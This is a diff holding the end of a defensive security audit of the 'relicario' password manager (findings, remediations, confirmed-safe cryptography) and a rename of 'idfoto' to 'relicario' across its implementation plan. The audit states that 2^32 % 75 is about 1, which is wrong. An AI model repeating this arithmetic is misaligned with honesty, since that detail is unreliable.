**Issue:** `(rng.next_u32() as usize) % CHARSET.len()` where `CHARSET.len() == 75`. Since `2^32 % 75 = 1` (≈), bias is mild, but still nonzero. For a tool whose entire job is generating high-entropy secrets, use `rand::distributions::Uniform` or rejection sampling.
|
||||
|
||||
**Remediation:**
|
||||
```rust
|
||||
use rand::distributions::{Distribution, Uniform};
|
||||
let dist = Uniform::from(0..CHARSET.len());
|
||||
(0..length).map(|_| CHARSET[dist.sample(&mut rng)] as char).collect()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### H7. `rpassword 5.0.1` is from 2020 and the API used (`prompt_password_stderr`) was deprecated and removed in 6.x
|
||||
|
||||
**File:** `crates/relicario-cli/Cargo.toml` (`rpassword = "5"`), `main.rs:205, 352, 358`.
|
||||
|
||||
**Issue:** `rpassword 5.0.1` predates several documented platform handling fixes (Windows console, terminal-restoration on signal). The current crate is at 7.x. `prompt_password_stderr` was removed; use `prompt_password` and pipe it to stderr separately, or call `rpassword::prompt_password_from_bufread` for testability. Stale dep is a supply-chain hygiene issue and may carry unfixed terminal-restoration bugs that leave the TTY in no-echo mode if the user Ctrl-C's mid-prompt.
|
||||
|
||||
**Remediation:** Bump to `rpassword = "7"` and adapt the call sites.
|
||||
|
||||
---
|
||||
|
||||
### H8. Service worker keeps `apiToken` in `chrome.storage.local` in plaintext alongside the unencrypted reference image
|
||||
|
||||
**File:** `extension/src/service-worker/index.ts:67-75, 313-318`.
|
||||
|
||||
**Issue:** `vaultConfig.apiToken` (Gitea/GitHub PAT with full Contents read+write) and `imageBase64` (the reference image with the embedded image_secret) live unencrypted in `chrome.storage.local`. Per spec, "the image bytes never leave the device" — true — but anyone with read access to the user's Chrome profile (on disk: `~/.config/google-chrome/Default/Local Extension Settings/<extension-id>/`) gets both the PAT (full git push access to the vault repo) and the image (factor #2). Combine that with C1's "swap" attack and the threat model's "Stolen device" adversary loses the image_secret to an offline attacker the moment the disk is read.
|
||||
|
||||
The spec says this is "acceptable" and that the reference image is supposed to live in chrome.storage.local. But the spec does not say the API token also lives there. The PAT is a separate secret with its own threat model — leaking it gives an attacker push access to overwrite the encrypted vault (denial of service or rollback to stale ciphertext).
|
||||
|
||||
**Why it matters:** chrome.storage.local is plain JSON on disk on most platforms. No OS-keystore integration. The spec's "Stolen device" mitigation depends on Argon2id-protected master key — the PAT bypasses that entirely.
|
||||
|
||||
**Remediation:**
|
||||
|
||||
1. Document explicitly in the README/spec that anyone with filesystem access to the browser profile owns both the image_secret and write access to the git repo — and that the user's only remaining defense is the passphrase via Argon2id.
|
||||
2. Consider scoping the PAT more tightly (Contents-only on a single repo path, no other API surface). The setup wizard's instructions already point at fine-grained PATs for GitHub — emphasize this.
|
||||
3. Long-term: integrate with browser identity / cookie-based auth instead of long-lived PATs, or push the PAT into an OS keychain via a companion native messaging host (out of scope for V1).
|
||||
|
||||
---
|
||||
|
||||
## MEDIUM
|
||||
|
||||
### M1. `read_block` panics on out-of-bounds via `read_block_abs(...).unwrap()`
|
||||
|
||||
`crates/relicario-core/src/imgsecret.rs:252-256`. Future block-selection changes could panic at runtime; in WASM this aborts the whole service worker. Return `Result` and propagate, or `debug_assert!`.
|
||||
|
||||
### M2. `bits_to_bytes` length not validated in `try_extract_with_layout`
|
||||
|
||||
`crates/relicario-core/src/imgsecret.rs:765-768`. `secret.copy_from_slice(&result_bytes[..32])` panics if `result_bytes.len() < 32`. Add `debug_assert_eq!` and prefer `try_into()`.
|
||||
|
||||
### M3. `extract_with_crop_recovery` has unbounded compute for attacker-controlled JPEG dimensions
|
||||
|
||||
`crates/relicario-core/src/imgsecret.rs:784-833`. A 32000×32000 attacker-supplied JPEG can wedge the service worker for tens of seconds. Cap `MAX_DIMENSION` (e.g. 10000 px) and peek dimensions before full decode.
|
||||
|
||||
### M4. `decrypt` error path leaks coarse timing about which validation failed first
|
||||
|
||||
`crates/relicario-core/src/crypto.rs:115-141`. Not exploitable today (only attacker-supplied ciphertexts are the user's own files). If a "share an entry" feature lands, this becomes a side channel. Consider returning `RelicarioError::Decrypt` for all failure modes.
|
||||
|
||||
### M5. `chrome.tabs.sendMessage` in fill_credentials sends to currently-active tab without verifying the tab matches the entry's origin
|
||||
|
||||
`extension/src/service-worker/index.ts:334-346`. If the user switches tabs between opening the popup and pressing `f`, credentials go to the new tab. Capture `(tab.id, tab.url)` when popup opens.
|
||||
|
||||
### M6. CLI clipboard clear is best-effort and racy
|
||||
|
||||
`crates/relicario-cli/src/main.rs:565-585`. The 30s clear thread holds a *clone* of the plaintext password for 30 seconds and won't clear if user copies anything else and back. Always clear unconditionally; wrap in `Zeroizing<String>`.
|
||||
|
||||
### M7. CLI prints the full password to stdout via `println!`
|
||||
|
||||
`crates/relicario-cli/src/main.rs:553`. `relicario get` prints `"Password: <plaintext>"` to stdout — ends up in scrollback, `script` transcripts, tmux capture, pipes. Show `********` by default; require `--show` flag.
|
||||
|
||||
### M8. CLI generates entry IDs with only 32 bits of randomness; 8-char hex collisions are realistic
|
||||
|
||||
`crates/relicario-core/src/entry.rs:159-163`. Birthday-bound: ~65k entries gives ~50% collision; `manifest.add_entry` silently overwrites. Bump to 16-char hex (64 bits), or check before write.
|
||||
|
||||
### M9. WASM TOTP code has no guard against `result[offset + 3]` index when HMAC output is exactly 20 bytes
|
||||
|
||||
`crates/relicario-wasm/src/lib.rs:227-232`. Safe today (HMAC-SHA1 is always 20 bytes, max offset is 15). Add `debug_assert_eq!(result.len(), 20)` for future-proofing.
|
||||
|
||||
### M10. `setup-wizard.ts` opens a new tab, but `window.close()` is no-op if popup is not in popup context
|
||||
|
||||
`extension/src/popup/components/setup-wizard.ts:27-30`. Minor.
|
||||
|
||||
### M11. CLI `now_iso8601` returns Unix seconds but the field is named `iso8601` and the spec promises ISO 8601 formatting
|
||||
|
||||
`crates/relicario-cli/src/main.rs:263-268`. Function name lies; consumers may parse timestamps and silently mishandle a numeric value. Either rename or use chrono/jiff.
|
||||
|
||||
### M12. `arboard 3` carries platform-dependent behavior; password may persist after `set_text("")` on Linux X11
|
||||
|
||||
`crates/relicario-cli/src/main.rs:572-579`. Document Linux limitations.
|
||||
|
||||
---
|
||||
|
||||
## LOW / INFORMATIONAL
|
||||
|
||||
- **L1.** Dead-code-allowed fields in `EmbedRegion` (`crates/relicario-core/src/imgsecret.rs:163, 166`).
|
||||
- **L2.** `RelicarioError::Format` exposes the offending version byte in user-facing error string. Minor info disclosure.
|
||||
- **L3.** Capture flow's `check_credential` decrypts every candidate entry on every form submit (`index.ts:421-423`). Cache password hash, not password.
|
||||
- **L4.** `popup.ts:16-20` `setState` triggers full re-render every state change — in-flight async responses can race and double-fire.
|
||||
- **L5.** Chrome MV3 manifest CSP includes `'wasm-unsafe-eval'` — required but document why.
|
||||
- **L6.** `git-host.ts:27` uses `String.fromCharCode(bytes[i])` for base64 — vulnerable to memory pressure with large reference images. Use chunked or `FileReader`.
|
||||
- **L7.** `Cargo.toml` allows wide major-version ranges. No `cargo audit` / `cargo deny` config in repo.
|
||||
- **L8.** CLI `vault_dir()` silently returns `current_dir()` — `relicario add` in `/home` will start writing files there. Detect missing `.relicario/` and bail.
|
||||
- **L9.** `devices.json` initial write differs between CLI (`"[]"`) and extension (`'{"devices":[]}'`). Schema mismatch.
|
||||
- **L10.** `totpSecretCache` (`Map<string, string>` of plaintext base32 secrets) has no zeroization — note that JS strings can't be zeroized.
|
||||
- **L11.** `escapeHtml` at `popup.ts:16-20` doesn't escape `'` (single quote). Codebase uses double quotes for attributes, so currently safe but fragile.
|
||||
- **L12.** Service worker unlock path doesn't validate salt/params length before passing to WASM. Add explicit length checks at JS boundary.
|
||||
|
||||
---
|
||||
|
||||
## CONFIRMED-SAFE
|
||||
|
||||
These primitives and parameters are correctly used and do **not** need further worry:
|
||||
|
||||
1. **XChaCha20-Poly1305** via `chacha20poly1305 = "0.10.1"` (RustCrypto). Correct AEAD usage; 24-byte nonce generated fresh from `OsRng` per encryption (`crypto.rs:79-100`).
|
||||
2. **Argon2id** via `argon2 = "0.5.3"`. Correct algorithm/version (`Algorithm::Argon2id, Version::V0x13`), output length 32. Defaults of m=64MiB, t=3, p=4 within OWASP 2024 recommendations (`crypto.rs:211-235`).
|
||||
3. **OsRng** used for: master_key salt (`main.rs:368-369`), image_secret in CLI (`main.rs:339-340`), nonces (`crypto.rs:85-87`), ed25519 device keys (`main.rs:794`).
|
||||
4. **`crypto.getRandomValues`** in setup wizard for image_secret + salt (`setup.ts:383-393`).
|
||||
5. **ed25519-dalek 2.2.0** with `rand_core` — modern strict-verification version.
|
||||
6. **TOTP / RFC 6238** in WASM is correct; unit tests exercise published RFC test vectors (`wasm/lib.rs:280-301`).
|
||||
7. **AEAD failure → opaque `RelicarioError::Decrypt`** with generic message ("wrong key or corrupted data"). Avoids leaking which factor is wrong (`error.rs:33`, `crypto.rs:138`).
|
||||
8. **Version byte (0x01)** at start of every ciphertext blob with rejection of unknown versions.
|
||||
9. **Two-factor independence** verified by `tests/integration.rs:120-153`.
|
||||
10. **DCT round-trip correctness** verified to 1e-6 tolerance.
|
||||
11. **`escapeHtml` via textContent round-trip** correctly defangs `<`, `>`, `&` for content insertion (caveat L11).
|
||||
12. **Manifest schema migration** for the new `group` field handles old records cleanly via `serde(skip_serializing_if = "Option::is_none")`.
|
||||
13. **CSP `script-src 'self' 'wasm-unsafe-eval'; object-src 'self'`** is tight: no `unsafe-inline`, no remote scripts.
|
||||
14. **CLI device key file permissions 0600 on Unix** (`main.rs:809-813`).
|
||||
|
||||
---
|
||||
|
||||
## WIDER AUDIT GAPS (out of scope for this static review)
|
||||
|
||||
1. **Empirical robustness of imgsecret claims (Q85, 10% crop, etc.).** Tests cover one synthetic JPEG. Real social-media JPEGs go through chroma subsampling at 4:2:0, EXIF orientation flips, ICC profile re-encoding, platform-specific quantization tables. Needs a fuzz battery against actual platform upload-download round trips.
|
||||
2. **WASM linear-memory inspection.** Bytes copied between Rust and JS via wasm-bindgen are reachable from JS for the lifetime of the process. A DevTools heap snapshot of the SW after unlock would confirm whether master_key bytes are visible from JS.
|
||||
3. **Side-channel timing of Argon2id.** The `argon2` crate's `hash_password_into` is data-independent. No issue suspected; constant-time-test harness would confirm.
|
||||
4. **Browser extension fuzzing for malicious page interaction.** Capture/autofill/prompt rendering need exercise against a hostile page with full DOM control.
|
||||
5. **Cargo Audit / Cargo Deny.** Run `cargo audit` against the lockfile; `image 0.25.10` and transitive image-codec deps have had a steady stream of CVEs.
|
||||
6. **MV3 service worker idle-suspend behavior.** When SW is suspended, `masterKey` is freed — good. But verify Chrome doesn't serialize SW storage of `masterKey` for resume.
|
||||
7. **Git transport security.** Whether the user's git config validates SSH host keys, uses HTTPS with cert pinning, etc., is outside static review.
|
||||
8. **Recovery flow.** Not yet implemented; needs its own audit when it lands.
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
relicario's *core cryptography* is solid: correct AEAD, correct KDF parameters, real two-factor key derivation. The bugs are concentrated in the *extension boundary* and the *plumbing around the crypto*: the setup wizard is web-accessible without sender checks (C1), the message router trusts every caller (C2), capture and autofill have no origin discipline (C3, C4), the WASM password generator is non-cryptographic (H5), and master-key/passphrase memory hygiene is absent (H2).
|
||||
|
||||
**C1–C4 together are exploitable end-to-end and should be treated as release blockers.** H1–H8 should land before any tagged 1.0; M-class items can be batched into hardening PRs.
|
||||
@@ -1,46 +1,46 @@
|
||||
# idfoto Core + CLI Implementation Plan
|
||||
# relicario Core + CLI Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Build a working git-backed password manager with a Rust core library and CLI that can create vaults, add/get/list/edit/rm credentials, sync via git, and manage device keys — all backed by the reference-image + passphrase two-factor KDF.
|
||||
|
||||
**Architecture:** Cargo workspace with two crates: `idfoto-core` (platform-agnostic library — KDF, AEAD, vault format, imgsecret DCT embedding) and `idfoto-cli` (filesystem, git, terminal I/O). The core takes bytes and returns bytes; the CLI handles all platform interaction. TDD throughout.
|
||||
**Architecture:** Cargo workspace with two crates: `relicario-core` (platform-agnostic library — KDF, AEAD, vault format, imgsecret DCT embedding) and `relicario-cli` (filesystem, git, terminal I/O). The core takes bytes and returns bytes; the CLI handles all platform interaction. TDD throughout.
|
||||
|
||||
**Tech Stack:** Rust (stable, 2021 edition), argon2, chacha20poly1305, image, serde/serde_json, clap, ed25519-dalek
|
||||
|
||||
**Scope:** This is Plan 1 of 2. This plan covers `idfoto-core` and `idfoto-cli`. Plan 2 (idfoto-wasm + Chrome extension) follows after this is working. This plan produces a complete, usable CLI password manager.
|
||||
**Scope:** This is Plan 1 of 2. This plan covers `relicario-core` and `relicario-cli`. Plan 2 (relicario-wasm + Chrome extension) follows after this is working. This plan produces a complete, usable CLI password manager.
|
||||
|
||||
**Prerequisites:** Rust stable installed via `rustup`. Git installed. A test JPEG image (any cell phone photo) available for manual testing.
|
||||
|
||||
**Design spec:** `docs/superpowers/specs/2026-04-11-idfoto-design.md`
|
||||
**Design spec:** `docs/superpowers/specs/2026-04-11-relicario-design.md`
|
||||
|
||||
---
|
||||
|
||||
## File Structure
|
||||
|
||||
```
|
||||
idfoto/ (project root = /home/alee/Sources/axsbadge.me)
|
||||
relicario/ (project root = /home/alee/Sources/relicario)
|
||||
├── Cargo.toml # workspace root
|
||||
├── crates/
|
||||
│ ├── idfoto-core/
|
||||
│ ├── relicario-core/
|
||||
│ │ ├── Cargo.toml
|
||||
│ │ └── src/
|
||||
│ │ ├── lib.rs # re-exports public API
|
||||
│ │ ├── error.rs # IdfotoError enum (thiserror)
|
||||
│ │ ├── error.rs # RelicarioError enum (thiserror)
|
||||
│ │ ├── crypto.rs # derive_master_key(), encrypt(), decrypt()
|
||||
│ │ ├── entry.rs # Entry, ManifestEntry, Manifest structs
|
||||
│ │ ├── vault.rs # encrypt/decrypt entries + manifest, binary format
|
||||
│ │ └── imgsecret.rs # embed(), extract() — DCT embedding primitive
|
||||
│ └── idfoto-cli/
|
||||
│ └── relicario-cli/
|
||||
│ ├── Cargo.toml
|
||||
│ └── src/
|
||||
│ └── main.rs # clap CLI with all subcommands
|
||||
├── docs/
|
||||
│ └── superpowers/
|
||||
│ ├── specs/
|
||||
│ │ └── 2026-04-11-idfoto-design.md
|
||||
│ │ └── 2026-04-11-relicario-design.md
|
||||
│ └── plans/
|
||||
│ └── 2026-04-11-idfoto-core-cli.md (this file)
|
||||
│ └── 2026-04-11-relicario-core-cli.md (this file)
|
||||
└── README.md
|
||||
```
|
||||
|
||||
@@ -50,10 +50,10 @@ idfoto/ (project root = /home/alee/Sources/axsbadge
|
||||
|
||||
**Files:**
|
||||
- Create: `Cargo.toml`
|
||||
- Create: `crates/idfoto-core/Cargo.toml`
|
||||
- Create: `crates/idfoto-core/src/lib.rs`
|
||||
- Create: `crates/idfoto-cli/Cargo.toml`
|
||||
- Create: `crates/idfoto-cli/src/main.rs`
|
||||
- Create: `crates/relicario-core/Cargo.toml`
|
||||
- Create: `crates/relicario-core/src/lib.rs`
|
||||
- Create: `crates/relicario-cli/Cargo.toml`
|
||||
- Create: `crates/relicario-cli/src/main.rs`
|
||||
|
||||
- [ ] **Step 1: Create workspace root Cargo.toml**
|
||||
|
||||
@@ -62,20 +62,20 @@ idfoto/ (project root = /home/alee/Sources/axsbadge
|
||||
[workspace]
|
||||
resolver = "2"
|
||||
members = [
|
||||
"crates/idfoto-core",
|
||||
"crates/idfoto-cli",
|
||||
"crates/relicario-core",
|
||||
"crates/relicario-cli",
|
||||
]
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Create idfoto-core crate**
|
||||
- [ ] **Step 2: Create relicario-core crate**
|
||||
|
||||
```toml
|
||||
# crates/idfoto-core/Cargo.toml
|
||||
# crates/relicario-core/Cargo.toml
|
||||
[package]
|
||||
name = "idfoto-core"
|
||||
name = "relicario-core"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "Core library for idfoto password manager"
|
||||
description = "Core library for relicario password manager"
|
||||
|
||||
[dependencies]
|
||||
thiserror = "2"
|
||||
@@ -92,26 +92,26 @@ image = { version = "0.25", default-features = false, features = ["jpeg"] }
|
||||
```
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/lib.rs
|
||||
// crates/relicario-core/src/lib.rs
|
||||
pub mod error;
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Create idfoto-cli crate**
|
||||
- [ ] **Step 3: Create relicario-cli crate**
|
||||
|
||||
```toml
|
||||
# crates/idfoto-cli/Cargo.toml
|
||||
# crates/relicario-cli/Cargo.toml
|
||||
[package]
|
||||
name = "idfoto-cli"
|
||||
name = "relicario-cli"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "CLI for idfoto password manager"
|
||||
description = "CLI for relicario password manager"
|
||||
|
||||
[[bin]]
|
||||
name = "idfoto"
|
||||
name = "relicario"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
idfoto-core = { path = "../idfoto-core" }
|
||||
relicario-core = { path = "../relicario-core" }
|
||||
clap = { version = "4", features = ["derive"] }
|
||||
anyhow = "1"
|
||||
rpassword = "5"
|
||||
@@ -120,9 +120,9 @@ dirs = "5"
|
||||
```
|
||||
|
||||
```rust
|
||||
// crates/idfoto-cli/src/main.rs
|
||||
// crates/relicario-cli/src/main.rs
|
||||
fn main() {
|
||||
println!("idfoto v0.1.0");
|
||||
println!("relicario v0.1.0");
|
||||
}
|
||||
```
|
||||
|
||||
@@ -138,7 +138,7 @@ git init
|
||||
echo "target/" > .gitignore
|
||||
echo ".superpowers/" >> .gitignore
|
||||
git add Cargo.toml crates/ .gitignore docs/
|
||||
git commit -m "feat: scaffold Cargo workspace with idfoto-core and idfoto-cli"
|
||||
git commit -m "feat: scaffold Cargo workspace with relicario-core and relicario-cli"
|
||||
```
|
||||
|
||||
---
|
||||
@@ -146,17 +146,17 @@ git commit -m "feat: scaffold Cargo workspace with idfoto-core and idfoto-cli"
|
||||
### Task 2: Error Types
|
||||
|
||||
**Files:**
|
||||
- Create: `crates/idfoto-core/src/error.rs`
|
||||
- Modify: `crates/idfoto-core/src/lib.rs`
|
||||
- Create: `crates/relicario-core/src/error.rs`
|
||||
- Modify: `crates/relicario-core/src/lib.rs`
|
||||
|
||||
- [ ] **Step 1: Write the error enum**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/error.rs
|
||||
// crates/relicario-core/src/error.rs
|
||||
use thiserror::Error;
|
||||
|
||||
#[derive(Debug, Error)]
|
||||
pub enum IdfotoError {
|
||||
pub enum RelicarioError {
|
||||
#[error("key derivation failed: {0}")]
|
||||
Kdf(String),
|
||||
|
||||
@@ -193,16 +193,16 @@ pub enum IdfotoError {
|
||||
DeviceKey(String),
|
||||
}
|
||||
|
||||
pub type Result<T> = std::result::Result<T, IdfotoError>;
|
||||
pub type Result<T> = std::result::Result<T, RelicarioError>;
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Update lib.rs to re-export**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/lib.rs
|
||||
// crates/relicario-core/src/lib.rs
|
||||
pub mod error;
|
||||
|
||||
pub use error::{IdfotoError, Result};
|
||||
pub use error::{RelicarioError, Result};
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Verify build**
|
||||
@@ -213,8 +213,8 @@ Expected: Compiles cleanly.
|
||||
- [ ] **Step 4: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-core/src/error.rs crates/idfoto-core/src/lib.rs
|
||||
git commit -m "feat: add IdfotoError enum with thiserror"
|
||||
git add crates/relicario-core/src/error.rs crates/relicario-core/src/lib.rs
|
||||
git commit -m "feat: add RelicarioError enum with thiserror"
|
||||
```
|
||||
|
||||
---
|
||||
@@ -222,13 +222,13 @@ git commit -m "feat: add IdfotoError enum with thiserror"
|
||||
### Task 3: Crypto — Key Derivation
|
||||
|
||||
**Files:**
|
||||
- Create: `crates/idfoto-core/src/crypto.rs`
|
||||
- Modify: `crates/idfoto-core/src/lib.rs`
|
||||
- Create: `crates/relicario-core/src/crypto.rs`
|
||||
- Modify: `crates/relicario-core/src/lib.rs`
|
||||
|
||||
- [ ] **Step 1: Write the failing test**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/crypto.rs
|
||||
// crates/relicario-core/src/crypto.rs
|
||||
|
||||
// ... (implementation comes in step 3)
|
||||
|
||||
@@ -274,17 +274,17 @@ mod tests {
|
||||
|
||||
- [ ] **Step 2: Run test to verify it fails**
|
||||
|
||||
Run: `cargo test -p idfoto-core derive_master_key`
|
||||
Run: `cargo test -p relicario-core derive_master_key`
|
||||
Expected: FAIL — `derive_master_key` and `KdfParams` not defined.
|
||||
|
||||
- [ ] **Step 3: Write the implementation**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/crypto.rs
|
||||
// crates/relicario-core/src/crypto.rs
|
||||
use argon2::{Algorithm, Argon2, Params, Version};
|
||||
use crate::error::{IdfotoError, Result};
|
||||
use crate::error::{RelicarioError, Result};
|
||||
|
||||
/// Argon2id tuning parameters. Stored in .idfoto/params.json.
|
||||
/// Argon2id tuning parameters. Stored in .relicario/params.json.
|
||||
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
|
||||
pub struct KdfParams {
|
||||
/// Memory cost in KiB (default: 65536 = 64 MiB)
|
||||
@@ -308,7 +308,7 @@ impl Default for KdfParams {
|
||||
/// Derive a 32-byte master key from passphrase + image_secret + salt.
|
||||
///
|
||||
/// password = passphrase_bytes || image_secret_bytes (concatenated)
|
||||
/// salt = vault_salt (32 bytes from .idfoto/salt)
|
||||
/// salt = vault_salt (32 bytes from .relicario/salt)
|
||||
pub fn derive_master_key(
|
||||
passphrase: &[u8],
|
||||
image_secret: &[u8; 32],
|
||||
@@ -326,14 +326,14 @@ pub fn derive_master_key(
|
||||
params.argon2_p,
|
||||
Some(32),
|
||||
)
|
||||
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
|
||||
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
|
||||
|
||||
let argon2 = Argon2::new(Algorithm::Argon2id, Version::V0x13, argon2_params);
|
||||
|
||||
let mut output = [0u8; 32];
|
||||
argon2
|
||||
.hash_password_into(&password, salt, &mut output)
|
||||
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
|
||||
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
@@ -389,24 +389,24 @@ mod tests {
|
||||
|
||||
- [ ] **Step 4: Run tests**
|
||||
|
||||
Run: `cargo test -p idfoto-core derive_master_key`
|
||||
Run: `cargo test -p relicario-core derive_master_key`
|
||||
Expected: All 3 tests PASS.
|
||||
|
||||
- [ ] **Step 5: Update lib.rs**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/lib.rs
|
||||
// crates/relicario-core/src/lib.rs
|
||||
pub mod crypto;
|
||||
pub mod error;
|
||||
|
||||
pub use crypto::{derive_master_key, KdfParams};
|
||||
pub use error::{IdfotoError, Result};
|
||||
pub use error::{RelicarioError, Result};
|
||||
```
|
||||
|
||||
- [ ] **Step 6: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-core/src/
|
||||
git add crates/relicario-core/src/
|
||||
git commit -m "feat: add Argon2id key derivation with tests"
|
||||
```
|
||||
|
||||
@@ -415,11 +415,11 @@ git commit -m "feat: add Argon2id key derivation with tests"
|
||||
### Task 4: Crypto — Encrypt / Decrypt
|
||||
|
||||
**Files:**
|
||||
- Modify: `crates/idfoto-core/src/crypto.rs`
|
||||
- Modify: `crates/relicario-core/src/crypto.rs`
|
||||
|
||||
- [ ] **Step 1: Write the failing tests**
|
||||
|
||||
Add to `crates/idfoto-core/src/crypto.rs` inside the `mod tests` block:
|
||||
Add to `crates/relicario-core/src/crypto.rs` inside the `mod tests` block:
|
||||
|
||||
```rust
|
||||
#[test]
|
||||
@@ -471,12 +471,12 @@ Add to `crates/idfoto-core/src/crypto.rs` inside the `mod tests` block:
|
||||
|
||||
- [ ] **Step 2: Run tests to verify they fail**
|
||||
|
||||
Run: `cargo test -p idfoto-core encrypt`
|
||||
Run: `cargo test -p relicario-core encrypt`
|
||||
Expected: FAIL — `encrypt` and `decrypt` not defined.
|
||||
|
||||
- [ ] **Step 3: Write the implementation**
|
||||
|
||||
Add to `crates/idfoto-core/src/crypto.rs`, above the `#[cfg(test)]` block:
|
||||
Add to `crates/relicario-core/src/crypto.rs`, above the `#[cfg(test)]` block:
|
||||
|
||||
```rust
|
||||
use chacha20poly1305::{
|
||||
@@ -503,7 +503,7 @@ pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
|
||||
|
||||
let ciphertext = cipher
|
||||
.encrypt(nonce, plaintext)
|
||||
.map_err(|_| IdfotoError::Encrypt("XChaCha20-Poly1305 encryption failed".into()))?;
|
||||
.map_err(|_| RelicarioError::Encrypt("XChaCha20-Poly1305 encryption failed".into()))?;
|
||||
|
||||
let mut output = Vec::with_capacity(1 + NONCE_SIZE + ciphertext.len());
|
||||
output.push(FORMAT_VERSION);
|
||||
@@ -518,7 +518,7 @@ pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
|
||||
pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
|
||||
let min_len = 1 + NONCE_SIZE + 16; // version + nonce + tag (empty plaintext)
|
||||
if data.len() < min_len {
|
||||
return Err(IdfotoError::Format(format!(
|
||||
return Err(RelicarioError::Format(format!(
|
||||
"ciphertext too short: {} bytes, need at least {}",
|
||||
data.len(),
|
||||
min_len
|
||||
@@ -527,7 +527,7 @@ pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
|
||||
|
||||
let version = data[0];
|
||||
if version != FORMAT_VERSION {
|
||||
return Err(IdfotoError::Format(format!(
|
||||
return Err(RelicarioError::Format(format!(
|
||||
"unsupported format version: {version}"
|
||||
)));
|
||||
}
|
||||
@@ -538,7 +538,7 @@ pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
|
||||
let cipher = XChaCha20Poly1305::new(key.into());
|
||||
cipher
|
||||
.decrypt(nonce, ciphertext)
|
||||
.map_err(|_| IdfotoError::Decrypt)
|
||||
.map_err(|_| RelicarioError::Decrypt)
|
||||
}
|
||||
```
|
||||
|
||||
@@ -557,24 +557,24 @@ use rand::RngCore;
|
||||
|
||||
- [ ] **Step 5: Run all crypto tests**
|
||||
|
||||
Run: `cargo test -p idfoto-core`
|
||||
Run: `cargo test -p relicario-core`
|
||||
Expected: All tests PASS (3 KDF tests + 4 encrypt/decrypt tests).
|
||||
|
||||
- [ ] **Step 6: Update lib.rs exports**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/lib.rs
|
||||
// crates/relicario-core/src/lib.rs
|
||||
pub mod crypto;
|
||||
pub mod error;
|
||||
|
||||
pub use crypto::{derive_master_key, encrypt, decrypt, KdfParams};
|
||||
pub use error::{IdfotoError, Result};
|
||||
pub use error::{RelicarioError, Result};
|
||||
```
|
||||
|
||||
- [ ] **Step 7: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-core/src/
|
||||
git add crates/relicario-core/src/
|
||||
git commit -m "feat: add XChaCha20-Poly1305 encrypt/decrypt with binary format"
|
||||
```
|
||||
|
||||
@@ -583,13 +583,13 @@ git commit -m "feat: add XChaCha20-Poly1305 encrypt/decrypt with binary format"
|
||||
### Task 5: Entry & Manifest Data Model
|
||||
|
||||
**Files:**
|
||||
- Create: `crates/idfoto-core/src/entry.rs`
|
||||
- Modify: `crates/idfoto-core/src/lib.rs`
|
||||
- Create: `crates/relicario-core/src/entry.rs`
|
||||
- Modify: `crates/relicario-core/src/lib.rs`
|
||||
|
||||
- [ ] **Step 1: Write tests for serialization**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/entry.rs
|
||||
// crates/relicario-core/src/entry.rs
|
||||
|
||||
// ... (implementation in step 3)
|
||||
|
||||
@@ -663,13 +663,13 @@ mod tests {
|
||||
|
||||
- [ ] **Step 2: Run tests to verify they fail**
|
||||
|
||||
Run: `cargo test -p idfoto-core entry`
|
||||
Run: `cargo test -p relicario-core entry`
|
||||
Expected: FAIL — types not defined.
|
||||
|
||||
- [ ] **Step 3: Write the implementation**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/entry.rs
|
||||
// crates/relicario-core/src/entry.rs
|
||||
use rand::Rng;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
@@ -850,25 +850,25 @@ mod tests {
|
||||
- [ ] **Step 4: Update lib.rs**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/lib.rs
|
||||
// crates/relicario-core/src/lib.rs
|
||||
pub mod crypto;
|
||||
pub mod entry;
|
||||
pub mod error;
|
||||
|
||||
pub use crypto::{derive_master_key, decrypt, encrypt, KdfParams};
|
||||
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
|
||||
pub use error::{IdfotoError, Result};
|
||||
pub use error::{RelicarioError, Result};
|
||||
```
|
||||
|
||||
- [ ] **Step 5: Run tests**
|
||||
|
||||
Run: `cargo test -p idfoto-core entry`
|
||||
Run: `cargo test -p relicario-core entry`
|
||||
Expected: All 5 entry tests PASS.
|
||||
|
||||
- [ ] **Step 6: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-core/src/
|
||||
git add crates/relicario-core/src/
|
||||
